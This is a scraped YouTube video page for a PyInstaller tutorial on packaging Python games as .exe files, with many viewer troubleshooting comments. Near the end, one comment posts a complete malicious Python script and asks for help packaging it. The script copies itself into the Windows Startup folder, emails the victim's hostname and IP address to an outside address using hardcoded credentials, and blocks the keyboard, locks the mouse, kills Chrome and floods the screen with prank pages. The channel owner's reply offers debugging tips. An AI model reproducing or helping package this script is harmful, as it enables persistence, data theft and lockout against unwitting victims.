How to Create .exe Executable Files from Python Apps and Games using the PyInstaller Module!

  Рет қаралды 63,342

LeMaster Tech

LeMaster Tech

Күн бұрын

This video shows how to turn python apps or games into executable .exe files using the python pyinstaller module. We start by installing the pyinstaller module using pip, then convert and package a .py pygame file into one condensed executable file!
I also show how to include images and sound files in your games and how to appropriately structure the folders for your project!
Check out my personal channel for more fun science content!
/ @peterlemaster8310
Love the content on this channel? Feel free to support me on Patreon!
/ lemastertech
Be sure to check out the channel for tons of other great tutorials and content, and leave a like on the video, subscribe to the channel and let me know in the comments what you'd like to see next!
Thanks for watching and good luck with your projects!

Пікірлер: 189
@pauloconnor3056
@pauloconnor3056 6 ай бұрын
NOTE: i didnt use a GUI for a python project, just inputs and outputs from the terminal ect, and using the "--windowed" command meant it couldnt run. So if your having issues try removing it 🙃🙃
@lemastertech
@lemastertech 6 ай бұрын
Hi thank you for sharing your fix! Hopefully others find this super useful as well!
@phoenixflower1225
@phoenixflower1225 Жыл бұрын
Thank you soo so much - you are so good at teaching - I scoured the internet for a solution like yours but this is by far the best - people were saying you need to add path environmental variables and what not - I didn't even know terminal access was available in pycharm - Thank you so much
@lemastertech
@lemastertech Жыл бұрын
You are welcome and I am so glad you found the video useful!! Thanks for watching :)
@Sirbozo
@Sirbozo 25 күн бұрын
THANK YOU SO MUCH THIS HELPED ME ALOT
@lemastertech
@lemastertech 15 күн бұрын
Awesome thank you for watching!
@user-mz9mv1cl3t
@user-mz9mv1cl3t 3 ай бұрын
hi, I managed to build the exe but when I run it, the terminal shows a ModuleNotFoundError and closes immediately. In my main.py file, I import several libraries like streamlit and others. How do i solve this ModuleNotFoundError even though I moved the exe file into the main directory? thanks
@lemastertech
@lemastertech 3 ай бұрын
Hi I am sorry I am not certain how to solve this as I’ve never had that specific error!
@TienHoangManh-rp4qt
@TienHoangManh-rp4qt Жыл бұрын
Hi Le, I have a question. when we package the code and copy it to another computer. Do the target computer also need to install python before running exe? If it must, is there any way to package python along with that app ?
@lemastertech
@lemastertech Жыл бұрын
Hello, you should not need to have the destination computer install python - when the py to exe packager runs its supposed to include the interpolation to machine code required for anyone to run the .exe !
@RedAlphImmortal
@RedAlphImmortal 9 ай бұрын
Amazing explanation! I was lost in all hose instructions but you cleared it up for me!
@lemastertech
@lemastertech 9 ай бұрын
Thanks so much for sharing Im glad it was useful for you!!
@rexclone9039
@rexclone9039 5 ай бұрын
Hi there! Thank you for a clear explanation and an easy guide. Before I try it myself, I have an additionaly qustion. If the programme which I have written is altering directory paths for the sake of its correct execution, will the packaged exe of the programme run correctly on someone else's computer (suppos I send them the exe over email)? Cheers :)
@lemastertech
@lemastertech 5 ай бұрын
Hello! Yes it should do that just fine!
@truefugazi
@truefugazi 11 күн бұрын
So, I am using py auto exe, and I have a env placed as a folder to bundle up everything but when I open the application it says ModuleNotFoundError no module named ‘webview’ even though the model is in my env How do I fix this?
@kevinbeuving6862
@kevinbeuving6862 Жыл бұрын
Great content. Btw what is your background? It's amazing :)
@lemastertech
@lemastertech Жыл бұрын
Thank you! And I honestly just typed space wallpapers into google images and chose one I thought was cool haha - I love space :) Thanks for watching!!
@floydian48
@floydian48 5 ай бұрын
Hi, I am using VS Code and it throws this error; 209 INFO: PyInstaller: 6.4.0, contrib hooks: 2024.2 209 INFO: Python: 3.11.8 218 INFO: Platform: Windows-10-10.0.22631-SP0 Script file 'main.py' does not exist. But my "main.py" is already there and I am also sure about "pyinstaller" has been installed by "pip install pyinstaller" command. So, what can be the problem? Thanks in advance.
@lemastertech
@lemastertech 5 ай бұрын
Hello the only time I had an issue like this I had accidentally installed pyinstaller in a different root folder than my main.py program! It’s possible to only install pyinstaller into like the root c folder but then the file lives in another location! Maybe double check that??
@floydian48
@floydian48 5 ай бұрын
@@lemastertech yes, it was definetly the wrong folder problem. Thank you very much!
@kardelenkaya962
@kardelenkaya962 2 ай бұрын
This tutorial worked like a charm. Thank you
@lemastertech
@lemastertech 2 ай бұрын
You’re very welcome thanks for watching!
@jatinsethi6102
@jatinsethi6102 Ай бұрын
Should We have to include venv Folder while sharing the .exe file?
@lemastertech
@lemastertech Ай бұрын
You shouldn’t but I also read a recent patch note that for some reason most firewalls and malware softwares are calling out packages created with pyinstaller as potentially suspicious or malware
@internetprophet_clown
@internetprophet_clown 5 күн бұрын
Hey, this works, but how do I use a custom icon and possibly keep it one file?
@user-uh4do1fx7y
@user-uh4do1fx7y 11 ай бұрын
i created the exe file but when i try to run it, it give me the error FileNotFoundError: No such file or directory: 'C:\Users\jackc\AppData\Local\Temp\_MEI186402\img\player.png'. the exe is stored in this directory, C:\Users\jackc\OneDrive\Desktop\dungeon1_Copy
@lemastertech
@lemastertech 11 ай бұрын
Hi I’m sorry to hear you’re getting that error - you could try using the OS and sys modules to actually point to a specific folder on your computer in case the exe is moved!
@user-ur3iz4em1c
@user-ur3iz4em1c Жыл бұрын
so clear explanation really thank you LeMaster Tech!!!
@lemastertech
@lemastertech Жыл бұрын
you're very welcome, thank you for watching!
@PetarMatijevic99
@PetarMatijevic99 Жыл бұрын
Worked like a Charm😉 Thank you
@lemastertech
@lemastertech Жыл бұрын
Awesome you are welcome!! Thanks for watching!
@Samina-lb8om
@Samina-lb8om Ай бұрын
Can I use the generated executable file to share the game with others who don't have Python or Pygame installed on their machines?
@lemastertech
@lemastertech Ай бұрын
Yes according to the documentation for pyinstaller but I have seen many people commenting here that when they send it to friends their computers are flagging it as untrustworthy! I haven’t personally run in to that sending them to others but a lot of people have commented here that they have seen it
@cooker_cooked
@cooker_cooked 2 ай бұрын
uh hey i tried ur video but it shows the same error "file named main.py isnt found" (note i named it main just in case) and it keeps showing the same error can anyone help me
@lemastertech
@lemastertech 2 ай бұрын
Most of the time when this is happening the installer package got installed to a different directory than the main.py file lives in!
@RickMond-tn7
@RickMond-tn7 2 ай бұрын
I have a problem where my .exe file doesnt execute, and i delete and reinstall it and run it again and it only sometimes works.
@lemastertech
@lemastertech 2 ай бұрын
That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?
@habladoenserio1668
@habladoenserio1668 4 ай бұрын
Hi after you compiles the .exe file using pyinstaller, did you try run this .exe file in another machine? I got this error doing that 'Bad CPU type in executable' I do not what i need to do in pyinstaller to avoid this
@lemastertech
@lemastertech 4 ай бұрын
Hi I am sorry but I have not had any experience with this error before and am not sure what could have caused it!
@converti76
@converti76 Жыл бұрын
pretty nice and usefull, I was strugling with the pyinstaller!!
@lemastertech
@lemastertech Жыл бұрын
Glad I could help! Thanks for watching!
@pranavnyavanandi9710
@pranavnyavanandi9710 2 жыл бұрын
Nice video, good to know about the info.
@lemastertech
@lemastertech 2 жыл бұрын
thanks!
@user-me8ep5xg7i
@user-me8ep5xg7i Ай бұрын
Worthy infoo...thanks man! In my use case I've the folder inside .py files, json files, word,pdf documents and images. Can I make this all together as .exe file for chatbot application ?
@lemastertech
@lemastertech Ай бұрын
Thanks for watching!! Bundling all associated assets into the .exe should be doable but I’ll be honest I don’t know specifically about combining a bunch of different file and format types for a python exe!
@nono5362
@nono5362 2 ай бұрын
is there a way to include the images while still only compiling to a single exe file that you can share with people
@lemastertech
@lemastertech 2 ай бұрын
Yes you just need to have embedded assets but that is a little more complicated!
@missildine22
@missildine22 3 ай бұрын
Does the person I send it to have to already have python installed for it to work when they run it? Or will it work on windows 10/11 with just that packed file?
@lemastertech
@lemastertech 3 ай бұрын
They should not need python installed on their end it should work like any other executable file!
@BeLaur.
@BeLaur. Ай бұрын
Thank You
@lemastertech
@lemastertech Ай бұрын
You got it thanks for watching!!
@alexandertownsend5079
@alexandertownsend5079 Ай бұрын
My command prompt told me that pyinstaller has been installed, but that is not a valid internal or external command. I am not sure what that is about.
@sumanthking5251
@sumanthking5251 7 ай бұрын
I have a Django application similarly i have created an .exe file but how to send it to my friends in order to run it without any IDE or python isntalled
@lemastertech
@lemastertech 7 ай бұрын
I have not sent an application with Django before via an exe so I’m sorry not sure what you could do in that case!!
@amusaber6648
@amusaber6648 Ай бұрын
Thank you for a clear explanation. How to build Executable (.exe) file from Python for all Versions of Windows (Seven,8,10,11) i used PyInstaller in windows 10 ,but the Executable file compiled by PyInstaller does not work on Windows 7
@lemastertech
@lemastertech Ай бұрын
Hm I’m sorry I’m not sure why it doesn’t work for 7!
@YevaBrookman
@YevaBrookman 4 ай бұрын
Hi, when I'm running my .exec, it's crushing with error like "pyenv/not_my_venv_version_of_python/: module "blabla.py" not found Why it's using pyenv for looking for files ? 😮
@lemastertech
@lemastertech 4 ай бұрын
Hi, you may have installed pyinstaller in the wrong directory or executed the command from the wrong directory here!
@YevaBrookman
@YevaBrookman 4 ай бұрын
@@lemastertech Hi, thank you for reply! I'm using a subprocess in my project and that confused me with a path😄
@thesuperscout5178
@thesuperscout5178 2 ай бұрын
Have you encounter the problem where your antivirus detecting it as a malicious file? "Operation did not complete successfully because the file contains a virus or potentially unwanted software."
@lemastertech
@lemastertech 2 ай бұрын
I have had a few people comment on this video that they have run into this although I haven’t dealt with it myself! I believe there is a manual way to add an exception to whatever antivirus software you are using to allow this specific program and file but I think it depends on your antivirus software!
@quincy5967
@quincy5967 5 ай бұрын
hey i tried everything in this vid and in a bunch of others but when i go to run the conversion it says this: pyinstaller : The term 'pyinstaller' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. idk how to fix pls help
@lemastertech
@lemastertech 5 ай бұрын
Hi, this is typically happening due to pyinstaller being installed in a different folder location than it’s attempting to be run in. I would suggest trying to change the directory to either your root folder or install pyinstaller in whatever directory you are trying to use!
@quincy5967
@quincy5967 5 ай бұрын
ok thank you@@lemastertech
@wickedsnuk3812
@wickedsnuk3812 2 ай бұрын
Do you have any idea about packaging it as a standalone app ?
@lemastertech
@lemastertech 2 ай бұрын
Honestly this method is the best way I’ve found for packing a python program as an executable but I really think C based compiled languages are your best bet for advanced or complicated apps! I know python can be used for it but that’s not something I’ve had much experience with im sorry!
@Dingus_Guitars
@Dingus_Guitars 2 жыл бұрын
Maybe you should do some coding livestreams? Or like a help livestream where people can ask programming questions? Or something like that, I wouldnt mind watching you make a game or something via live stream
@lemastertech
@lemastertech 2 жыл бұрын
Hi I think that's an awesome idea and I really want to do something like this soon! Unfortunately I mostly work on my Projects and my KZfaq videos while I am at work ( I work from home) but could get sucked into a call or helping someone with something at any moment and most of my evenings are pretty busy! But I am trying to figure out how I could do some livestream events for sure! Thanks for the suggestion!
@Engille967
@Engille967 8 күн бұрын
You've earned a sub because your explanation skills are next level. But what do I have to do to open the other files I need to run the application if the folder those other files are in and the .exe are located in the same directory? I tried putting things like `from data.dimension_setup import *` into the actual code and updating the executable (data is the folder with the additional files, dimension_setup is a python file). I don't want to resolve this by just copypasting the contents of the dimension_setup file into the main file to prevent my code from being an absolute mess. And I used open("data/file.json") to open the json files in the data folder. For some reason, the pycharm version of my game recognizes my files in the data directory, but the executable thinks they're non-existent.
@EnesTheLeafeon
@EnesTheLeafeon 5 ай бұрын
I followed everything and got a weird error Traceback (most recent call last): File "PyStars.py", line 21, in BG = pygame.image.load(image_path) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: No such file or directory: 'C:\Users\USER\AppData\Local\Temp\_MEI92522\BG.jpg'. Can someone help? I wanna send this game to my friends
@EnesTheLeafeon
@EnesTheLeafeon 5 ай бұрын
Btw that link isnt a link KZfaq think's Something.py is a website
@lemastertech
@lemastertech 5 ай бұрын
Hi, most likely this is due to an image in a folder in a different location than the source .py file - if possible, probably just best to drop all your image assets in the same folder location as your root .py file!!
@lokranjanp3520
@lokranjanp3520 2 күн бұрын
will this work on a MacOS environment?
@darlinmanuelcasadoperez1092
@darlinmanuelcasadoperez1092 4 ай бұрын
thanks, i was having issues with the images in my project
@lemastertech
@lemastertech 4 ай бұрын
You’re welcome thanks for watching!!
@64imma
@64imma 9 ай бұрын
(Disregard, I found the solution. Made one very simple typo when writing my test code) I am practicing this just using a simple test project, which is basically just a small pygame window with a black screen and nothing else. Every time I try to make it into an executable, the program will not close. If I take away the --windowed prompt, it will show a terminal window, and if I close that, the program will eventually close too. But if I include the --windowed prompt, I literally cannot close the program without going into task manager and forcing it to close. How can I keep the executable file as a --windowed (i.e. NOT loading the command prompt) and still allow it to close?
@lemastertech
@lemastertech 9 ай бұрын
Good job solving it!!
@Coleski123
@Coleski123 3 ай бұрын
Why am I getting pyinstaller : The term 'pyinstaller' is not recognized as the name of a cmdlet
@lemastertech
@lemastertech 3 ай бұрын
Probably need to run pip install pyinstaller in the same directory you are trying to execute in
@RickMond-tn7
@RickMond-tn7 2 ай бұрын
I have a problem where my program only executes once and then doesnt work again, or sometimes it just doesnt run at all, and I reinstall and delete it and nothing changes.
@lemastertech
@lemastertech 2 ай бұрын
That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?
@nickolasrizzato2607
@nickolasrizzato2607 5 ай бұрын
'pyinstaller' is not recognized as an internal or external command, operable program or batch file.
@lemastertech
@lemastertech 5 ай бұрын
Probably means you need to run pip and install pyinstaller first!
@guilhermeferrari2562
@guilhermeferrari2562 3 ай бұрын
pip : O termo 'pip' não é reconhecido como nome de cmdlet, função, arquivo de script ou programa operável. Verifique a grafia do nome ou, se um caminho tiver sido incluído, veja se o caminho está correto e tente novamente. No linha:1 caractere:2 + pip pyinstaller + ~~~ + CategoryInfo : ObjectNotFound: (pip:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
@lemastertech
@lemastertech 3 ай бұрын
Sounds like pyinstaller is not installed in the same directory you’re running the command in
@Paul-ly1pw
@Paul-ly1pw 2 жыл бұрын
I attempted this with the matching game and I got an error for line 42 the freesansbold. It said expected str, bytes or os.Pathlike object, not BytesIO
@Paul-ly1pw
@Paul-ly1pw 2 жыл бұрын
Solved it. I ended up using Arial instead and I copied the ttf file for that font into the Dist folder and then ran pyinstaller again
@lemastertech
@lemastertech 2 жыл бұрын
Yeah so what you need to do is get the freesansbold.ttf file and include it in the same folder as your exe file! Thats the easiest way to do it, or you can go back into your python file and use any ttf file you want, just be sure to include it in the folder you run your exe from once you convert to a .exe!
@Cahangir
@Cahangir Жыл бұрын
Very cool, thanks.
@lemastertech
@lemastertech Жыл бұрын
You’re very welcome thank you for watching!
@humbug1820
@humbug1820 2 жыл бұрын
does this work on mac if you want to create an .exe? or do you need a windows machine?
@lemastertech
@lemastertech 2 жыл бұрын
Hi! Great question and the answer is I’m honestly not sure I don’t have a mac, but most python modules are compatible with both but possibly with some different syntax! If you try it and it doesn’t work let me know!
@volodyslove
@volodyslove Жыл бұрын
Oh man , you're the best!😁
@lemastertech
@lemastertech Жыл бұрын
No you’re the best! 😆 thanks for watching!!
@friendly_dude
@friendly_dude Жыл бұрын
Thank you ❤ it worked
@lemastertech
@lemastertech Жыл бұрын
Alright good job! Glad I could help haha
@giosee_
@giosee_ Жыл бұрын
what do i do if i have different modules other than then main file?
@lemastertech
@lemastertech Жыл бұрын
You could compile them all into one file before exporting!!
@motoph6942
@motoph6942 9 ай бұрын
Make sense Thanks! Thats why when it was in another folder it doesn't executes! how i wish it complie all files like .png files where my signature is on it.
@lemastertech
@lemastertech 9 ай бұрын
You’re welcome thank you for watching!!
@juamshop
@juamshop 5 ай бұрын
thank i find this
@lemastertech
@lemastertech 5 ай бұрын
Thank you for watching!
@eyebol
@eyebol 9 ай бұрын
I tried sharing my exe with my community and peoples computers have been flagging it as a trojan and ransomware. Anyone know if theres a way to prevent this from happening?
@lemastertech
@lemastertech 9 ай бұрын
Hi - I have heard from others that happens to them as well. I think there’s an exe “trust” or authentication thing you can run the exe files through but it’s a nuisance still!
@dsreekanth1323
@dsreekanth1323 6 ай бұрын
Is it possible to create python Linux executable file with py installer.
@lemastertech
@lemastertech 6 ай бұрын
Hello, I believe so but I honestly have never tried it so you might need to check their online documentation to verify that!
@Lust_Krieg
@Lust_Krieg 6 ай бұрын
I have a problem with running the code. Without the virtual environment, (venv) it does not recognize the command (pyinstaller .py). Is there any solution for converting .py to .exe without going into venv? (im using macbook, so the commands might differ)
@lemastertech
@lemastertech 6 ай бұрын
Hello I’m sorry I do not have prior experience with MacBooks! I have only ran this on windows and have not seen that issue before!
@Lust_Krieg
@Lust_Krieg 6 ай бұрын
@@lemastertech thanks for answering anyway. Actually a got a little closer to the solution. I’ve got to put my Python frameworks to the path so the pyinstaller can work.
@ADrPOV
@ADrPOV Жыл бұрын
But does this only work on your local PC? If I send the file to someone on another pc how do I get it to work?
@lemastertech
@lemastertech Жыл бұрын
So just like with any .exe, any additional assets that are needed by the program have to be in the same program folder as the .exe! If all the program does is python functionality with no other outside stuff you can just send it as is! But if you have images or fonts or sound files or text files they need to be packaged up together in either a folder or zip folder when you send it!
@ADrPOV
@ADrPOV Жыл бұрын
@@lemastertech Ok, in my program there are images and fonts, and the .exe file on the pc where I wrote it works, but sending the .exe file on another pc, also sending the folder with the images and fonts and also putting the .py file gives me error FileNotFoundError: No such file on directory: "file path"
@sumanthking5251
@sumanthking5251 7 ай бұрын
And is your problem got resolved if so how​@@lemastertech
@prashithshetty8690
@prashithshetty8690 3 ай бұрын
pritty amazing tutorial. can anyone tell me how i can encript my python file and then create a exe for it so that i can distribute it without anyone copying the codes. please ............
@lemastertech
@lemastertech 3 ай бұрын
Hi I have not tried to do this specifically but I know pyinstaller is like a more light weight package and I am not sure how to encrypt it myself! Sorry!
@aniketsrivastava1870
@aniketsrivastava1870 Жыл бұрын
how to design the ui when we create the application?
@lemastertech
@lemastertech Жыл бұрын
Hi - you can choose any python GUI package you want. I have lessons on how to make GUIs with tkinter, kivy, and pygame! There’s a lot of other options too!
@MrHuangjia
@MrHuangjia Жыл бұрын
Thanks!
@lemastertech
@lemastertech Жыл бұрын
You’re welcome thank you for watching!!
@MadmanGamingofficial
@MadmanGamingofficial Жыл бұрын
Hey thanks so much for the video! I like how short and to the point it is. I just have one issue though. I have just started coding python and I've been making a script that I want to turn into an exe file. When I turn it into an exe file using pyinstaller and open the exe file it will just loop the first thing in my code, which is registering the script to the startup folder in windows. It keeps doing it until my computer runs out of memory. Not sure why its doing that, as it works as expected when I just run it in pycharm. I'm sure its just some stupid error by me. Any reason or solution on how to fix it? Thanks in advance.
@lemastertech
@lemastertech Жыл бұрын
Hello, its hard to say for sure what could be happening without seeing the full code but this sort of issue pops up alot with infinite while loops! Sometimes your code can enter a section it has no way out of and that essentially crashes the machine! I'd start by checking that, goodluck!
@MadmanGamingofficial
@MadmanGamingofficial Жыл бұрын
@@lemastertech hey thanks so much! You’ll be the first I’ll tell if it works.
@lemastertech
@lemastertech Жыл бұрын
@@MadmanGamingofficial Awesome, good luck my friend!
@MadmanGamingofficial
@MadmanGamingofficial Жыл бұрын
Ok so progress has been made, as it doesn't spam open command prompt windows anymore. However, it does still randomly loop. Here is a video of what happens: kzfaq.info/get/bejne/d66hZbGU2bTdh6s.html not sure if you noticed to, but it says that the system cannot find the file specified, not sure why that happens on the exe. also here is the full code. I know it might no be written the best so any pointers I'll be grateful for! import keyboard import random import multiprocessing import webbrowser import time import pyautogui import os import requests import socket import smtplib from getpass import getuser pyautogui.FAILSAFE = False screenWidth, screenHeight = pyautogui.size() h_name = socket.gethostname() IP_addres = socket.gethostbyname(h_name) user_name = getuser() startup = 'C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(user_name) os.system("copy {} {}".format(__file__, startup)) print('yooooooo') time.sleep(3) EMAIL_ADDRESS = 'Hackersaredown@gmail.com' EMAIL_PASSWORD = 'lxlfxwvumeulezvn' with smtplib.SMTP('smtp.gmail.com', 587) as smtp: smtp.ehlo() smtp.starttls() smtp.ehlo() smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) subject = 'Ladies and Gentlemen, we got em' body = f'Hacker has executed yexploit. {h_name}\'s ip address is {IP_addres}' msg = f'Subject: {subject} {body}' smtp.sendmail(EMAIL_ADDRESS, 'yexploithacks@gmail.com', msg) print('OMG') time.sleep(3) def keyboard_block(): for i in range(69696969696996969696969696969696969696969696969969696969696969699696969696969696696969966969696969): keyboard.block_key(i) def rigroll(): webbrowser.open('kzfaq.info/get/bejne/mrenZ9pqvM28k4U.html%27') def volumespam(): while True: pyautogui.press('volumeup') def kill_chrome(): time.sleep(100) os.system("taskkill /im chrome.exe /f") def lock_mouse(): while True: pyautogui.moveTo(69, 420) def why_not_cheat(): webbrowser.open('www.bbc.com/future/article/20211206-why-are-some-people-compelled-to-cheat') def minion_cheecks(): webbrowser.open('ibb.co/3c2tWsP') def minion_exercise (): webbrowser.open('i.pinimg.com/736x/b2/12/a6/b212a6c54c66a6ab82ac733b9b5d9c67.jpg') def another_minion_exercise(): webbrowser.open('i.redd.it/0zbzy7cperl81.jpg') def minion_lgbt(): webbrowser.open('encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS8x6LKMt9HptI_6Q5fIWudY7zHR_PEP6PzFw&usqp=CAU') def minion_car(): webbrowser.open('pbs.twimg.com/media/FI02SfhWQAArgaX.jpg') def madman_gaming(): webbrowser.open('kzfaq.infofeatured') def anti_mongtage(): webbrowser.open('kzfaq.info/get/bejne/g9iomalzr7KzY58.html') def crossfire(): webbrowser.open('kzfaq.info/get/bejne/ochdfrFlnt_bmWw.html') def tbg(): webbrowser.open('kzfaq.info/get/bejne/icmIe8ebl57Smqc.html') def rocco(): webbrowser.open('www.twitch.tv/videos/1604007484') def augh(): webbrowser.open('kzfaq.info/get/bejne/hdeioJBqvN-cmYk.html') def angry_bird(): webbrowser.open('hypixel.net/attachments/ezgif-3-9abaab1a1d-jpg.3032606/') def madman_short(): webbrowser.open('kzfaq.infopGrOq1bPptk') def nails(): webbrowser.open('kzfaq.infoYmTku61D840') def corn(): webbrowser.open('kzfaq.infoUgkx5dI4M3tbdXKgn7M0nae_asNi2aaeVOFN') def pufferfish(): webbrowser.open('kzfaq.info/get/bejne/o919apmExsm1k2Q.html') def dream_sus(): webbrowser.open('kzfaq.info/get/bejne/j92lhJyAmdfJonk.html') def veggietales_bass(): webbrowser.open('kzfaq.info/get/bejne/ot2Fo9V92dfYmps.html') def india(): webbrowser.open('kzfaq.info/get/bejne/eJaUp6uL1su8o40.html') def veggietales10hour(): webbrowser.open('kzfaq.info/get/bejne/Y7-gmcqot8i0hYE.html') def thomas(): webbrowser.open('kzfaq.info/get/bejne/nNR-gdeKurmpn4k.html') def tape(): webbrowser.open('kzfaq.info/get/bejne/ea-ddaZ9qpurqZ8.html') def download_pictures(): while True: picture_list = [minion_truck, among_us, sus_pokemon, minion_scream, minion_infant] random.choice(picture_list)() time.sleep(0.1) def among_us(): r = requests.get('i.ytimg.com/vi/WvHS7mwDiz4/maxresdefault.jpg') with open('amongus.png', 'wb') as f: f.write(r.content) #sub to Madman Gaming def sus_pokemon (): r = requests.get('www.mypokecard.com/my/galery/K64YkbUEEw42.jpg') with open('suspokemon.jpg', 'wb') as f: f.write(r.content) def minion_truck (): r = requests.get('i.redd.it/44zezwhbadq81.jpg') with open('miniontruck.jpg', 'wb') as f: f.write(r.content) #kzfaq.info/get/bejne/qLqXnZR53dO5kps.html def minion_anti (): r = requests.get('i.redd.it/ado402z546c81.jpg') with open('minionanti.jpg', 'wb') as f: f.write(r.content) def minion_scream (): r = requests.get('i.redd.it/y1vpz2c7gt881.png') with open('minionscream.png', 'wb') as f: f.write(r.content) def minion_infant (): r = requests.get('i.redd.it/mkwh5nnp3hs31.png') with open('minioninfant.png', 'wb') as f: f.write(r.content) def random_functions(): while True: my_list = [augh, augh, thomas, india, veggietales_bass, veggietales10hour, dream_sus, dream_sus, angry_bird, corn, nails, pufferfish, madman_short, why_not_cheat, minion_cheecks, anti_mongtage, crossfire, tbg, rocco, minion_cheecks, minion_car, minion_lgbt, minion_exercise, rigroll, rigroll, rigroll, rigroll, rigroll, rigroll] random.choice(my_list)() time.sleep(2) if __name__ == "__main__": p1 = multiprocessing.Process(target=keyboard_block) p2 = multiprocessing.Process(target=volumespam) p3 = multiprocessing.Process(target=random_functions) p4 = multiprocessing.Process(target=kill_chrome) p5 = multiprocessing.Process(target=download_pictures) p6 = multiprocessing.Process(target=lock_mouse) p1.start() p2.start() p3.start() p4.start() p5.start() p6.start() Code is purely for educational purposes.
@adroklop
@adroklop 5 ай бұрын
('pyinstaller' is not recognized as an internal or external command, operable program or batch file.) pls help i installed pyinstaller using 'pip install pyinstaller' nad it wont work
@lemastertech
@lemastertech 5 ай бұрын
Hi, this sounds like you might have installed pyinstaller in a project folder and are trying to actually execute it elsewhere? Try changing directory and pip installing pyinstaller to the c$ folder!
@friendly_dude
@friendly_dude Жыл бұрын
When a follow the vid and i type pip install pyinstaller ther is a big error message and one of the tings in it says: “objectnotfound: (pip:string)”
@lemastertech
@lemastertech Жыл бұрын
If pip is not found you need to uninstall python and reinstall it but add pip to the system path during install. Pip is included with python if you check the correct checkbox when you install it
@flarexlucifer
@flarexlucifer Жыл бұрын
i've also made a game with pygame but the problem is i have 12 python files in which game's logic is there and a resource folder in which every image every sound is there please help me to convert my game into a single executable file and after also tell me how can i use inno to make a installer of it with all of the resources included :) if you can help me with this problem i will be so gartefull of you i've been on this problem since a month :(
@lemastertech
@lemastertech Жыл бұрын
Hi! I think to do what you’re talking about you need to have an init.py file that can tell the installer to treat all Py files in the folder as part of the total package! There’s some really good documentation about setting up an init file and how to call all your subsequent files from that file! Goodluck friend!
@MixedbyBreeze
@MixedbyBreeze Жыл бұрын
what all goes into the zip folder when sharing?
@lemastertech
@lemastertech Жыл бұрын
The .exe and any images,sounds, fonts, or files you reference within your program!!
@MixedbyBreeze
@MixedbyBreeze Жыл бұрын
@@lemastertech ok thanks for such a fast response.
@georgehoback3732
@georgehoback3732 Жыл бұрын
Hey man, I don't know if you are still checking these comments but when I try to do use the pyinstaller command it just tells me something about how the bytes have to be from 0 to 256
@lemastertech
@lemastertech Жыл бұрын
Hi - this is likely not an issue of pyinstaller per say. That error message pops up usually when there is an 'off-by-one' scenario somewhere in the code. Like a color that is using 0-256 as its rgb value but is unintentionally able to use 256, when the range actually ends at 255 - I would check if you have rgbs or any other bytes of data that could be looking t 256 or a value greater than 256!
@user-bc1qu7yq8b
@user-bc1qu7yq8b 7 ай бұрын
Following all the steps I get the error: Term 'pyinstaller' not recognized as name of cmdlet, function, executable program or script file. How i resolve?
@lemastertech
@lemastertech 7 ай бұрын
Did you pip install pyinstaller??
@guyfrommars1110
@guyfrommars1110 6 ай бұрын
im having the same issue, i already did pip install pyinstaller@@lemastertech
@mateuszbomba3737
@mateuszbomba3737 2 жыл бұрын
Have you any idea why exe made with pyinstaller is starting nearly 4min? I use virtualenv to reduce file size and still is very slow. Normally script in .py is running instant
@lemastertech
@lemastertech 2 жыл бұрын
Hi I am sorry I have not encountered any issues where my executables run really slow after using pyinstaller! Just some thoughts, have you included all the assets in the same folder/directory as your exe? If the program can’t find all the necessary assets that can cause errors!
@mateuszbomba3737
@mateuszbomba3737 2 жыл бұрын
@@lemastertech Yes its all included. I forgot to say that is onefile exe. In onedir is very fast (runs in a 6 seconds) but i need to make this in one file.
@watimeyur6194
@watimeyur6194 3 ай бұрын
can this work for streamlit?
@lemastertech
@lemastertech 3 ай бұрын
Idk what streamlit is I haven’t worked with that
@killy_eddie474
@killy_eddie474 3 ай бұрын
Has anyone tried?
@bot25x
@bot25x Жыл бұрын
Cant I just export it into an .exe so that people who dont have any python install can play
@lemastertech
@lemastertech Жыл бұрын
Yes that is what this does!
@jos3865
@jos3865 Жыл бұрын
cmd says pyinstaller is not recognized even though it is installed
@lemastertech
@lemastertech Жыл бұрын
You might have installed Py installer inside a folder like the same location as your pygame project, but if you’re running Cmd on your root c folder you need it installed there, or you need to change directory to the same as your pygame project!
@jos3865
@jos3865 Жыл бұрын
@@lemastertech I changed my directory. can you tell me what specific folder pyinstaller should be at in order for me to verify if it is in the correct spot.
@betterhumans1752
@betterhumans1752 5 ай бұрын
What is the best method for autoupdating?
@lemastertech
@lemastertech 5 ай бұрын
Hi not sure what you mean by auto updating? You mean for patching updates to an already existing application or executable?
@betterhumans1752
@betterhumans1752 5 ай бұрын
@@lemastertech Yes. Patching an already existing program without user intervention.
@jddmtechnical2307
@jddmtechnical2307 Жыл бұрын
Not working for me, missing modules....
@lemastertech
@lemastertech Жыл бұрын
Does it say what modules are missing? Most IDEs give a little detail about it! Sometimes you have to point pip to a specific directory when installing packets!
@vortexstudios_echo
@vortexstudios_echo 11 күн бұрын
python3.13 no module named imp
@MarcBossYT
@MarcBossYT 6 ай бұрын
It still gives me an error
@lemastertech
@lemastertech 6 ай бұрын
What error
@DrCognitive
@DrCognitive Жыл бұрын
So there's no way to include the data from the image into the exe?
@lemastertech
@lemastertech Жыл бұрын
You mean like alt text or original creation Date? Not using this method as far as I know
@ProdigyStarsTED
@ProdigyStarsTED Жыл бұрын
PS C:\Users\User\PycharmProjects\Tic Tac Toe> pip pyinstaller pip : The term 'pip' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + pip pyinstaller + ~~~ + CategoryInfo : ObjectNotFound: (pip:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException I have this error while doing pip pyinstaller
@lemastertech
@lemastertech Жыл бұрын
Hi this sounds like your computer doesn’t recognize pip - that’s a check box you need to check during install of python! If you didn’t install pip when you installed python you might a quick uninstall then reinstall!
@ProdigyStarsTED
@ProdigyStarsTED Жыл бұрын
@@lemastertech oh okay let me just try :D
@ILCGyangcczmyiyan
